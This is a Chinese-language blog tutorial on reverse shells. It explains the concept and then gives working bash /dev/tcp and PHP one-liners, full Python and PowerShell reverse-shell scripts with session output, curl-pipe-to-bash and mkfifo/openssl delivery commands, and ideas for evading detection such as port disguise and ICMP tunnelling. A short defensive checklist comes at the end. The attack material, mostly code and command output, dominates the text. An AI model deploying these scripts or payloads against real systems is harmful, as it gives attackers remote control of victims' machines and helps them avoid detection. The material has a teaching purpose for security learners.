深度理解反弹 Shell:概念、建立流程、实战实现与安全防御指南

发布于:2025-09-10 ⋅ 阅读:(21) ⋅ 点赞:(0)

浅析反弹shell

一、概念

1.什么是shell?

Shell俗称 “壳” (区别于 “核”—— 操作系统内核) 是一个命令语言解释器,Shell 是包裹在操作系统 外层 的一道程序,负责外界与 Linux “内核” 的交互,但它隐藏了操作系统底层的具体细节,就像是 Linux 内核的一个 “外壳”,所以 Shell(壳)的名称也由此而来。Shell 可以解释用户输入的命令,将其翻译为计算机可识别的二进制命令,并传递给内核执行。shell相当于应用程序与操作系统内核交互的一个接口。

问:我们使用的虚拟终端是shell吗?与shell有什么联系与区别:

1.虚拟终端只是人机交互的一个接口,提供输入输出命令的交互界面。终端的主要任务是接收用户输入的命令,并提交给 Shell。

​ 2.Shell 是命令解析器,主要任务是翻译命令。Shell 将终端输入的命令转化成内核能够理解的语言并传递给内核,由内核执行命令,并将执行结果返回给终端。

在这里插入图片描述

2.shell的分类

我们平时所说的shell是一个大类,其下还有许多具体的shell程序,以下是常见的shell:

名称 所属系统 / 环境 核心特点
Bourne Shell(sh) 早期 Unix 系统(如 Solaris) 最早的标准化 Shell,语法简洁,仅支持基础命令,无高级特性(如别名、历史命令)
Bash(Bourne Again Shell) 大多数 Linux 发行版(Ubuntu、CentOS 等)默认;macOS 曾默认(现被 zsh 替代) 完全兼容 sh,新增历史命令(↑↓调用)、别名(alias)、函数、脚本注释等功能
Zsh(Z Shell) Linux、macOS(Catalina 及以后默认)、Windows(需安装) 兼容 bash,支持主题自定义、插件扩展(如 Oh-My-Zsh)、自动路径补全、语法高亮
Fish(Friendly Interactive Shell) Linux、macOS、Windows(需安装) 开箱即用的友好交互,无需配置即可实现自动补全、语法高亮、命令建议
PowerShell Windows 默认;Linux、macOS(可安装跨平台版) 基于 “对象模型”(非文本流),支持 .NET 框架,命令更结构化(如 Get-ChildItem 替代 ls)
CMD(命令提示符) Windows 传统命令行 仅支持基础 DOS 风格命令,功能简单,不兼容 Unix 脚本语法
Ksh(Korn Shell) Unix(如 AIX、HP-UX)、Linux(可安装) 兼容 sh 和 bash,稳定性强,支持进程控制、数学计算,适合企业级环境
Csh/Tcsh Unix、Linux(可安装) 语法类似 C 语言(如 if/for 格式),tcsh 是 csh 的增强版(支持历史命令补全)

3.shell连接的分类

(1)正向连接

控制端先监听一个端口,被控端主动发起 TCP 连接到该端口,连接建立后,被控端将 Shell 的输入 / 输出重定向到连接,实现控制端对被控端的命令操作。
简单理解:控制端主动访问,被控端 “等” 控制端访问。正向连接表现为攻击者主动连接目标服务器开放的端口 / 接口,通过该接口获取 Shell 交互能力,我们之前学的WebShell 的常规使用就是典型的正向连接。

这里的**“等”意思是监听端口**:目标服务器上的 Web 服务会默认开启 80/443 端口,并一直 “监听” 这个端口 —— 就像商店开着门,老板在店里 “等” 顾客上门。当我们把 WebShell(如shell.php)上传到服务器后,这个 WebShell 就成了 “隐藏在商店里的服务窗口”:它依附在 Web 服务的 80/443 端口上,和 Web 服务一起 “等” 外部发起的请求(比如shell.php?cmd=ipconfig)。

(2)反向连接

被控端先监听端口(或主动发起连接到外网控制端),控制端主动发起连接到被控端;核心用于被控端无法被直接访问的场景(如被控端在内网、受防火墙限制),通过被控端 “主动突破” 网络限制实现通信。
简单理解:控制端 “等”,被控端 “找”

与正向连接相反:攻击者先在自己的设备上开启一个端口(比如 4444),并用工具(如nc命令)监听这个端口 —— 就像你(控制端)在家门口挂个牌子 “等朋友来”,守着门口不出去。比如执行命令 nc -lvp 4444,意思是 “监听本地 4444 端口,显示连接详情,等待别人来连”—— 这就是控制端的 “等”。目标服务器可能在内网,或防火墙禁止外部主动访问它的任何端口。这时,需要让被控端主动 “找” 控制端:
攻击者先通过已有的 WebShell(比如之前上传的shell.php),在被控端执行一条 “反弹 Shell 命令”,比如 :

<?php exec("/bin/bash -i >& /dev/tcp/192.168.61.249/4444 0>&1"); ?>

这条命令的作用是:让被控端的bash主动发起 TCP 连接,去 “找” 控制端的 IP 和 4444 端口—— 就像朋友知道你家地址,主动上门找你。

3.什么是反弹shell?

反弹shell(reverse shell),就是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转发到控制端。反弹shell与telnet,ssh等标准shell对应,本质上是网络概念上的客户端与服务端的角色反转。

个人对反弹shell的理解是:

用户可以通过在shell上键入命令来达到操作主机的目的。正常情况下shell只能由主机的用户使用,但是反弹shell的目的则是将自己的shell反弹给别的主机,让别的主机可以通过shell来控制自己。在渗透中的运用就是我们让对方被迫主动交出他的主机操控权。

4.反弹shell使用的协议?

1. 核心协议:TCP

反弹 Shell 的本质是建立一个双向通信的命令交互会话—— 控制端需要向被控端发送命令,被控端需要返回执行结果,且必须保证数据传输的可靠性(命令不丢失、结果不混乱)。TCP 协议的 “面向连接”“可靠传输”(含重传机制、有序交付)特性完美适配这一需求,因此几乎 99% 以上的反弹 Shell 场景都基于 TCP 协议实现底层连接 。

示例:

  • nc命令创建反弹 Shell:bash -i >& /dev/tcp/攻击端IP/端口 0>&1,其中/dev/tcp是 Linux 系统对 TCP 连接的抽象表示;
  • 各类脚本(PHP、Python 等)实现的反弹 Shell,底层均通过socket库创建 TCP 连接(如 Python 的socket.SOCK_STREAM参数明确指定 TCP)。
2. 特殊场景:UDP 协议(极少用)

UDP 协议是 “无连接、不可靠” 的,无法保证命令和结果的有序性和完整性,因此几乎不用于反弹 Shell

仅在极端特殊场景(如目标环境严格禁止 TCP 出站,但允许 UDP),可能会用 UDP 实现简易反弹,但需额外处理数据校验、重传等问题,实用性极低。

3. 应用层:无特定的专属协议,依赖现有通用的应用层协议(如 HTTP、DNS、SMTP)来传输命令和结果

TCP/UDP 是传输层协议,而反弹 Shell 在应用层没有固定协议,仅通过 “原始文本流” 交互:

  • 控制端输入的命令(如ls)以纯文本形式通过 TCP 连接发送给被控端;
  • 被控端执行后的结果(如文件列表)同样以纯文本形式通过 TCP 连接返回给控制端。

这种 “无协议” 的原始交互,也是反弹 Shell 隐蔽性的体现之一(数据格式简单,不易被特征检测识别)。

5.为什么要反弹shell?

反弹 Shell 的诞生是为了解决 “控制端无法直接访问被控端” 的网络限制场景,典型如:

  • 被控端处于内网(无公网 IP),控制端(公网)无法主动发起连接;
  • 被控端防火墙拦截所有 “外部主动发起的入站连接”(如仅允许内部设备访问外网,禁止外部访问内部);
  • 被控端端口被网络设备(如路由器)封锁,仅允许少数常用端口(如 80、443)的出站流量。

此时,传统的正向连接完全失效,必须让被控端主动发起连接到控制端(反向连接),才能突破限制。

具体场景:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.目标主机的ip是动态改变的,不能持续控制。

3.由于防火墙等限制,目标主机只能发送请求,不能接收请求。

4.对于病毒、木马,受害者什么时候能中招、对方的网络环境是什么样的、什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是最好的办法。

6.反弹shell的前提

  1. 网络连通性:目标机需能访问攻击者的 IP 和监听端口,TCP 连接不被防火墙等阻断。
  2. 目标机权限:需有命令执行权,且核心工具(如 bash、python)及网络 / 流操作功能未被禁用。
  3. 攻击者准备:需在指定端口启动监听程序(如 nc、socat),并确保本机允许该端口入站连接。
  4. 目标机环境:存在可用载体(系统工具如 nc,或脚本语言如 Python)实现连接与 shell 转发。
  5. 绕过安全限制:必要时需通过加密、编码等方式绕过防火墙 / IPS 的流量检测及应用层限制。

7.如何利用:

即使无法正向连接目标机(即攻击者不能主动发起对目标机的连接),仍可通过目标机主动暴露的入口或漏洞将反弹 shell 代码 / 脚本传递到目标机,核心是利用目标机 “对外的交互能力”(如 Web 服务、命令执行接口等)。常见方式如下:

  1. 利用 Web 应用的文件上传漏洞
    若目标机运行 Web 服务(如 Apache、Nginx)且存在文件上传漏洞(如未过滤脚本后缀),可将反弹 shell 脚本(如shell.phpreverse.jsp)伪装成图片 / 文档上传,目标机接收并存储后,通过访问该脚本触发反弹。
  2. 通过远程命令执行(RCE)直接注入代码
    若目标机存在 RCE 漏洞(如 Log4j、命令注入),无需上传文件,直接将反弹 shell 的单行命令(如 Python/Perl 一行代码)作为 payload 注入,目标机执行命令时自动建立反弹连接(全程无文件落地)。
  3. 利用目标机的下载工具拉取脚本
    若目标机能访问攻击者的服务器(如通过 HTTP),可在攻击者服务器托管反弹 shell 脚本,然后通过目标机的wgetcurl(Linux)或certutil(Windows)等工具,让目标机主动下载并执行脚本(如curl http://攻击者IP/shell.sh | bash)。
  4. 通过数据库 / 中间件写入文件
    若能访问目标机的数据库(如 MySQL、MSSQL)或中间件(如 Redis),可利用其 “写入文件” 功能(如 MySQL 的into outfile),将反弹 shell 代码写入目标机的 Web 目录或可执行路径,再触发执行。
  5. 借助漏洞利用工具自动投递
    用 Metasploit、Exploit-DB 等工具的漏洞模块,在利用漏洞(如远程代码执行)时,自动向目标机投递反弹 shell payload(无需手动上传,工具会处理代码传递和执行)。

核心逻辑:不依赖攻击者 “推” 文件到目标机,而是让目标机通过自身的交互能力 “拉” 取或执行代码,这正是反弹 shell 绕过 “正向连接限制” 的精髓。

8.触发场景

  1. 目标机自动执行
    当通过远程命令执行(RCE)漏洞注入单行命令(如 Python/Perl 反弹代码)、或利用计划任务(如刚学的redis写入计划任务)、系统服务配置时,脚本 / 命令会由目标机直接自动执行(无需攻击者额外操作)。例如,通过 Log4j 漏洞注入反弹命令,目标机解析漏洞时会立即执行。
  2. 攻击者触发目标机执行
    当脚本通过文件上传(如 Webshell)、数据库写入等方式存到目标机后,需要攻击者通过目标机的交互入口(如访问 Web 脚本的 URL、触发特定功能)间接让目标机执行。例如,上传shell.php到目标 Web 目录后,攻击者访问http://目标IP/shell.php,目标机的 Web 服务器会执行该脚本。

9.反弹 Shell 的建立过程(基于Linux)

反弹 Shell 的建立需要 3 个关键步骤:“控制端监听端口”→“被控端发起连接”→“重定向 Shell 输入输出”

步骤 1:控制端启动端口监听(“守株待兔”)

控制端(攻击者设备)需要先 “打开一个端口并等待连接”,就像 “在门口挂个牌子,等对方上门”。
常用工具是nc(netcat,网络瑞士军刀),命令如下:

# 控制端执行:监听6666端口(端口可自定义,建议用80/443等常用端口规避检测)
nc -lvp 6666
# -l:监听模式;-v:显示详细信息;-p:指定端口

执行后,控制端会进入 “等待连接” 状态,记录为:listening on [any] 6666 ...

┌──(root㉿kali)-[/home/ly]
└─# nc -lvp 6666
listening on [any] 6666 ...

netcat的常用选项

┌──(root㉿kali)-[/home/ly]
└─# nc -h       
[v1.10-50]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...  
		  连接到某个地址: nc [- 选项] 主机名 端口 [多个端口] ...
listen for inbound:     nc -l -p port [-options] [hostname] [port]
		    监听入站连接: nc -l -p 端口 [- 选项] [主机名] [端口]
options:
        -c shell commands       as `-e'; use /bin/sh to exec [dangerous!!]
        						与-e` 功能类似;使用 /bin/sh 执行命令 [危险!!]
        -e filename             program to exec after connect [dangerous!!]
        						连接建立后执行指定程序 [危险!!]
        -b                      allow broadcasts
        						允许发送广播包
        -g gateway              source-routing hop point[s], up to 8
        						源路由跳点(最多支持 8 个)
        -G num                  source-routing pointer: 4, 8, 12, ...
        						源路由指针(值为 4、8、12 等)
        -h                      this cruft
        						显示此帮助信息
        -i secs                 delay interval for lines sent, ports scanned
        						发送数据行、扫描端口时的延迟间隔
        -k                      set keepalive option on socket
        						为套接字设置保活选项
        -l                      listen mode, for inbound connects
        						监听模式(用于接收入站连接)
        -n                      numeric-only IP addresses, no DNS
        						仅使用数字 IP 地址,不进行 DNS 解析
        -o file                 hex dump of traffic
        						将流量以十六进制形式转储到文件
        -p port                 local port number
        						指定本地端口号
        -r                      randomize local and remote ports
        						随机化本地和远程端口
        -q secs                 quit after EOF on stdin and delay of secs
        						当标准输入遇到 EOF 后,延迟指定秒数再退出
        -s addr                 local source address
        						指定本地源地址
        -T tos                  set Type Of Service
        						设置服务类型
        -t                      answer TELNET negotiation
        						响应 TELNET 协议协商
        -u                      UDP mode
        						使用 UDP 模式(默认是 TCP)
        -v                      verbose [use twice to be more verbose]
        						详细输出模式(使用两次可显示更详细信息)
        -w secs                 timeout for connects and final net reads
        						连接和最终网络读取的超时时间
        -C                      Send CRLF as line-ending
        						发送 CRLF 作为行结束符(Windows 风格换行)
        -z                      zero-I/O mode [used for scanning]
        						零 I/O 模式(仅用于端口扫描,不发送实际数据)
port numbers can be individual or ranges: lo-hi [inclusive]; 
端口号可以是单个端口或端口范围(格式:低端口 - 高端口,包含两端);
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
端口名称中的连字符必须用反斜杠转义(例如 'ftp\-data')。
步骤 2:被控端主动发起 TCP 连接(“主动上门”)

被控端需要执行一条 “反弹命令”,主动发起 TCP 连接到控制端的 IP 和监听端口。这条命令的核心作用是:创建一个 TCP 连接,将被控端的 Shell “绑定” 到这个连接上
以 Linux 的bash为例,最经典的反弹命令是:

# 被控端执行:主动连接控制端,并绑定bash
[ly@localhost ~]$ bash -i >& /dev/tcp/192.168.43.131/6666 0>&1
步骤 3:重定向 Shell 输入输出(“双向通信”)

这是反弹 Shell 最核心的技术点 —— 通过文件描述符重定向,让控制端的输入能被被控端的 Shell 执行,同时被控端的执行结果能返回给控制端,形成 “输入→执行→输出” 的闭环。

先理解 Linux 的 3 个基础文件描述符:

  • 0(标准输入,stdin):接收用户输入的地方(如键盘输入);
  • 1(标准输出,stdout):命令执行的正常结果输出(如ls的文件列表);
  • 2(标准错误,stderr):命令执行的错误信息输出(如ls xxx的 “无此文件” 提示)。

上述反弹命令的每个部分,都是为了重定向这 3 个描述符:

  • bash -i:启动交互式 bash-i表示 interactive),确保 bash 能接收用户输入(否则是非交互式,无法执行命令);
  • /dev/tcp/192.168.43.131/6666:Linux 系统的 “特殊文件”,本质是创建一个 TCP 连接到192.168.43.131:6666(控制端的监听地址);
  • >& /dev/tcp/...:将标准输出(1)和标准错误(2)重定向到 TCP 连接 —— 意味着命令执行的结果(包括正常输出和错误)会通过这个连接发送给控制端;
  • 0>&1:将标准输入(0)重定向到标准输出(1)—— 而标准输出已经被重定向到 TCP 连接,因此等价于 “将控制端的输入通过 TCP 连接传给 bash 的标准输入”。
步骤 4:建立控制会话(“远程操作”)

当被控端执行反弹命令后,控制端的nc会显示 “连接成功”(如connect to [192.168.43.131] from ...),此时:

┌──(root㉿kali)-[/home/ly]
└─# nc -lvp 6666
listening on [any] 6666 ...
192.168.43.81: inverse host lookup failed: Unknown host
connect to [192.168.43.131] from (UNKNOWN) [192.168.43.81] 38126
[ly@localhost ~]$ 
  • 控制端输入任何命令(如lswhoami),会通过 TCP 连接传给被控端的bash
  • 被控端的bash执行命令后,结果通过 TCP 连接返回给控制端,显示在nc窗口中。
[ly@localhost ~]$ ls
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
[ly@localhost ~]$ whoami
whoami
ly
[ly@localhost ~]$ ifconfig
ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.43.81  netmask 255.255.255.0  broadcast 192.168.43.255
        inet6 2409:8962:fa0:145:c623:1bd8:affd:2422  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::6ede:d3c2:9e31:7de8  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:e2:ea:26  txqueuelen 1000  (Ethernet)
        RX packets 438  bytes 248916 (243.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 363  bytes 33114 (32.3 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

至此,控制端实现了对被控端的远程命令控制,且整个过程中,控制端从未主动访问被控端,而是被控端主动连接控制端,且无感知,完美绕过了 “入站连接拦截” 的限制。

二、如何写反弹shell脚本

(1)跨语言实现:不同脚本的反弹逻辑(共性)

除了bash,Python、PHP、Perl 等语言也能实现反弹 Shell,核心逻辑完全一致(仅语法不同):

  1. 创建网络连接被控端主动发起 TCP 连接到控制端的 IP 和监听端口(如192.168.1.100:4444)。
  2. 重定向数据流:将被控端的 “标准输入(0)、标准输出(1)、标准错误(2)” 绑定到上一步创建的网络连接,确保控制端的输入能被 Shell 执行,执行结果能返回给控制端。
  3. 启动交互式 Shell:在被控端启动一个交互式 Shell(如/bin/shbashcmd.exe),使其通过绑定的网络连接与控制端交互。
  4. 维持连接:确保连接持续有效,实现双向通信,直到主动关闭。

参考博客:反弹Shell的27种实现方法(附详细代码与原理):https://blog.csdn.net/m0_73610345/article/details/151256959?sharetype=blogdetail&sharerId=151256959&sharerefer=PC&sharesource=m0_73610345&spm=1011.2480.3001.8118

(2)示例(以python、powershell为例)

a.python版的反弹shell脚本:

(1)编写脚本

import socket
import subprocess
import threading

# Kali的IP和端口
KALI_IP = "192.168.43.131"
KALI_PORT = 80

def send_output(proc, sock):
    """将cmd的输出发送到Kali"""
    while True:
        output = proc.stdout.read(1024)  # 读取stdout
        if not output:
            break
        sock.send(output)  # 发送到Kali
    # 读取stderr(错误输出)
    error = proc.stderr.read()
    if error:
        sock.send(error)

def main():
    try:
        # 1. 创建socket并连接Kali
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((KALI_IP, KALI_PORT))
        print("已成功连接到控制端!")

        # 2. 启动cmd.exe,通过管道绑定输入/输出/错误
        proc = subprocess.Popen(
            "cmd.exe",  # Windows命令行
            stdin=subprocess.PIPE,   # 标准输入→管道
            stdout=subprocess.PIPE,  # 标准输出→管道
            stderr=subprocess.PIPE,  # 标准错误→管道
            shell=True,
            text=False  # 二进制模式传输,避免编码问题
        )

        # 3. 启动线程:持续将cmd输出发送到Kali
        threading.Thread(target=send_output, args=(proc, s), daemon=True).start()

        # 4. 持续读取Kali发送的命令,写入cmd的输入
        while True:
            cmd = s.recv(1024)  # 从Kali接收命令
            if not cmd:
                break
            proc.stdin.write(cmd)  # 写入cmd的输入
            proc.stdin.flush()  # 刷新缓冲区

    except ConnectionRefusedError:
        print(f"错误:无法连接到 {KALI_IP}:{KALI_PORT},请检查Kali监听")
    except Exception as e:
        print(f"发生错误:{str(e)}")
    finally:
        if 's' in locals():
            s.close()
        if 'proc' in locals():
            proc.terminate()

if __name__ == "__main__":
    main()

(2)攻击方开启端口监听

┌──(root㉿kali)-[/home/ly]
└─# nc -lvp 6666
listening on [any] 80 ...

(3)上传脚本到被攻击方,并运行脚本建立连接

PS C:\Users\L\Desktop> python shell.py

(4)连接建立成功,在攻击方终端执行系统命令

┌──(ly㉿kali)-[~]
└─$ nc -lvp 80
listening on [any] 80 ...
connect to [192.168.43.131] from LAPTOP-N5DK4S1P [192.168.43.213] 56760
whoami
ipconfig
Microsoft Windows [汾 10.0.26100.4946]
(c) Microsoft CorporationȨ

C:\Users\L\Desktop>whoami
laptop-n5dk4s1p\l

C:\Users\L\Desktop>ipconfig

Windows IP 

߾ * 1:

   ý״̬  . . . . . . . . . . . . : ýѶϿ
   ض DNS ׺ . . . . . . . : 

߾ * 2:

   ý״̬  . . . . . . . . . . . . : ýѶϿ
   ض DNS ׺ . . . . . . . : 

̫ VMware Network Adapter VMnet1:

   ض DNS ׺ . . . . . . . : 
    IPv6 ַ. . . . . . . . : fe80::95e0:1a0c:9dec:a800%12
   IPv4 ַ . . . . . . . . . . . . : 192.168.27.1
     . . . . . . . . . . . . : 255.255.255.0
b.powershell版的反弹shell脚本:

(1)编写脚本

# reverse_shell.ps1
# IP为Kali的IP,端口为Kali监听的端口
$kali_ip = "192.168.43.131"
$port = 6666

# 创建TCP连接到Kali
$client = New-Object System.Net.Sockets.TCPClient($kali_ip, $port)
$stream = $client.GetStream()

# 定义编码方式
$encoding = New-Object System.Text.ASCIIEncoding

# 循环读取Kali发送的命令并执行
while ($true) {
    # 读取Kali发送的命令
    [byte[]]$bytes = New-Object byte[] 1024
    $i = $stream.Read($bytes, 0, $bytes.Length)
    if ($i -eq 0) { break }

    # 解析命令并执行
    $command = $encoding.GetString($bytes, 0, $i)
    $result = (Invoke-Expression $command 2>&1 | Out-String)  # 执行命令并捕获结果(包括错误)

    # 拼接提示符(类似PowerShell的PS C:\>)
    $prompt = "PS " + (Get-Location).Path + "> "
    $sendback = $result + $prompt

    # 将结果发送回Kali
    $sendbytes = $encoding.GetBytes($sendback)
    $stream.Write($sendbytes, 0, $sendbytes.Length)
    $stream.Flush()
}

# 关闭连接
$client.Close()

(2)攻击方开启端口监听

┌──(root㉿kali)-[/home/ly]
└─# nc -lvp 6666
listening on [any] 6666 ...

(3)上传脚本到被攻击方,并运行脚本建立双向连接

PS C:\Users\L\Desktop> .\shell.ps1

(4)连接建立成功,在攻击方终端执行系统命令

┌──(ly㉿kali)-[~]
└─$ nc -lvp 6666  
listening on [any] 6666 ...
connect to [192.168.43.131] from LAPTOP-N5DK4S1P [192.168.43.213] 55367
whoami
laptop-n5dk4s1p\l
PS C:\Users\L\Desktop> ipconfig 

Windows IP ??

???????? ????* 1:

   ????  . . . . . . . . . . . . : ???????
   ????? DNS ?? . . . . . . . : 

???????? ????* 2:

   ????  . . . . . . . . . . . . : ???????
   ????? DNS ?? . . . . . . . : 

?????? VMware Network Adapter VMnet1:

   ????? DNS ?? . . . . . . . : 
   ???? IPv6 ??. . . . . . . . : fe80::95e0:1a0c:9dec:a800%12
   IPv4 ?? . . . . . . . . . . . . : 192.168.27.1
   ????  . . . . . . . . . . . . : 255.255.255.0
   ????. . . . . . . . . . . . . : 

?????? VMware Network Adapter VMnet8:

   ????? DNS ?? . . . . . . . : 
   ???? IPv6 ??. . . . . . . . : fe80::7584:3cc:e8d8:d2a3%18
   IPv4 ?? . . . . . . . . . . . . : 192.168.17.1
   ????  . . . . . . . . . . . . : 255.255.255.0
   ????. . . . . . . . . . . . . : 

(3)自动生成反弹shell工具

1.推荐一个网站:http://tools.sbbbb.cn/shell/

2.使用奉哥的脚本工具

(4)反弹Shell攻击现状

阿里云云安全中心通过分析历史中云上环境的Linux服务器入侵事件,总结出了攻击链路中实现反弹Shell的语言及工具使用率,详情如下图所示。

在这里插入图片描述

三、反弹 Shell 如何规避检测?

反弹shell被杀示例:

在这里插入图片描述

在这里插入图片描述

反弹shell的分类:

第一类反弹Shell:直接重定向Shell的输入输出到Socket,例如:

这类反弹Shell的检测可以通过检测Shell的标准输入、标注输出是否被重定向到Socket或检测一些简单的主机网络日志特征来实现。

bash -i >& /dev/tcp/192.168.43.131/6666 0>&1

在这里插入图片描述

第二类反弹Shell:通过管道、伪终端等中转,再重定向Shell的输入输出到中转

此类反弹Shell借助管道、伪终端等进行中转,例如下面这个典型案例将sh -i的标准输入、标准输出、标准错误重定向到命名管道/tmp/f,同时加密通信数据也流向该命名管道。

mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 0.0.XX.XX:666 > /tmp/f

在这里插入图片描述

第三类反弹Shell:编程语言实现标准输入中转,重定向命令执行的输入到中转

第三种类型反弹Shell通过编程语言实现标准输入的中转,然后重定向命令执行的输入到中转,标准输出和标准错误中转形式不限制。以下是该类型反弹Shell的典型示例:

python - c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('0.0.0.0',666))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,Shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"

在这种场景下,反弹Shell的命令执行和正常业务行为变得更加难以区分,对抗程度上升。

绕过检测思路:

  1. 端口伪装:使用 80、443等常用端口(防火墙通常放行这些端口的出站流量),让流量看起来像正常网页访问;
  2. 协议封装:将命令和结果封装在 HTTP、DNS 等应用层协议中(如之前提到的 “HTTP 反弹 Shell”),进一步伪装成正常业务流量;
  3. 无特征交互:数据以原始文本流传输,无固定协议头,难以被 IDS/IPS 的特征库识别。
  4. 搭建ICMP隧道:如果使用各类隧道技术(HTTP,DNS,常规正反端口转发等)操作都失败了,可以尝试进行ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包),‍实现不受限制的网络访问。

四、如何防御

(1)网络层:

​ 1.防火墙白名单限制必要出站端口 / IP,禁止非业务端口(如 6666)出站。

​ 2.DS/IPS 监控非标准端口连接、DNS 隧道等异常流量。

(2)主机层

​ 1.服务 / 应用用非 root / 管理员权限运行,降低入侵影响。

​ 2.限制 python、powershell 等程序的异常出站网络行为。

​ 3.卸载非必需的 nc、socat 等可用于反弹的工具。

(3)应用层

​ 1.过滤文件上传、拦截命令注入,部署 WAF 防 webshell 植入。

​ 2.Web / 临时目录设为 “不可执行”,阻止恶意脚本运行。

(4)监控层

​ 1.记录网络 / 进程 / 系统日志,重点盯非标准端口、陌生 IP 连接。

​ 2.分析高频短命令交互、新进程突然连外网等异常行为。

(5)应急层

​ 1.发现后隔离主机、杀可疑进程、清恶意文件,溯源补漏洞。


网站公告

今日签到

点亮在社区的每一天
去签到